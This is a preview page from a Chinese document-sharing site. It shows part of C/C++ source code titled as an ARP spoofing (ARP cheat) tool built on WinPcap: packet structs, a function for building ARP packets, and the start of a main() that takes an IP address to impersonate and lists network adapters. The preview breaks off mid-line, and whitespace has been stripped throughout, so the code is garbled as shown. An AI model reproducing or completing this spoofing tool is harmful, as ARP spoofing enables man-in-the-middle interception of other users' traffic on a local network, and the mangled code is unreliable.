欢迎来到天天文库
浏览记录
ID:50811488
大小:39.00 KB
页数:7页
时间:2020-03-14
《ARP欺骗源代码(基于WinPcap实现).doc》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、//ArpCheat.h#ifndefMY_ARP_CHEAT_INCLUDE_H#defineMY_ARP_CHEAT_INCLUDE_H//字节对齐必须是1#pragmapack(1)structethernet_head{unsignedchardest_mac[6];//目标主机MAC地址unsignedcharsource_mac[6];//源端MAC地址unsignedshorteh_type;//以太网类型};structarp_head{unsignedshorthardware_type;//硬件类型:以太网接口类型为1unsignedshortprotocol_
2、type;//协议类型:IP协议类型为0X0800unsignedcharadd_len;//硬件地址长度:MAC地址长度为6Bunsignedcharpro_len;//协议地址长度:IP地址长度为4Bunsignedshortoption;//操作:ARP请求为1,ARP应答为2unsignedcharsour_addr[6];//源MAC地址:发送方的MAC地址unsignedlongsour_ip;//源IP地址:发送方的IP地址unsignedchardest_addr[6];//目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址unsigned
3、longdest_ip;//目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址unsignedcharpadding[18];};structarp_packet//最终arp包结构{ethernet_headeth;//以太网头部arp_headarp;//arp数据包头部};#pragmapack()/***获得网卡的MAC地址*pDevName网卡的设备名称*/unsignedchar*GetSelfMac(char*pDevName);/***封装ARP请求包*source_mac源MAC地址*srcIP源IP*destIP目的IP*/unsig
4、nedchar*BuildArpPacket(unsignedchar*source_mac,unsignedlongsrcIP,unsignedlongdestIP);#endif //ArpCheat.cpp#include#include#include#include#include#include"ArpCheat.h"intmain(intargc,char*argv[]){pcap_if_t*alldevs;//全部网卡列表pcap_if_t*d;//一个网卡intin
5、um;//用户选择的网卡序号inti=0;//循环变量pcap_t*adhandle;//一个pcap实例charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区unsignedchar*mac;//本机MAC地址unsignedchar*packet;//ARP包unsignedlongfakeIp;//要伪装成的IP地址pcap_addr_t*pAddr;//网卡地址unsignedlongip;//IP地址unsignedlongnetmask;//子网掩码if(argc!=2){printf("Usage:%sinet_addr",argv[0]);re
6、turn-1;}//从参数列表获得要伪装的IP地址fakeIp=inet_addr(argv[1]);if(INADDR_NONE==fakeIp){fprintf(stderr,"InvalidIP:%s",argv[1]);return-1;}/*获得本机网卡列表*/if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1){fprintf(stderr,"Errorinpcap_findalldevs:%s",errbuf);exit(1);}/*打印网卡列表*/for(d=alldevs;
7、d;d=d->next){printf("%d",++i);if(d->description)printf(".%s",d->description);elseprintf(".Nodescriptionavailable");}//如果没有发现网卡if(i==0){printf("Nointerfacesfound!MakesureWinPcapisinstalled.");return-1;}//请用户选择一个网卡printf("Enterthe
此文档下载收益归作者所有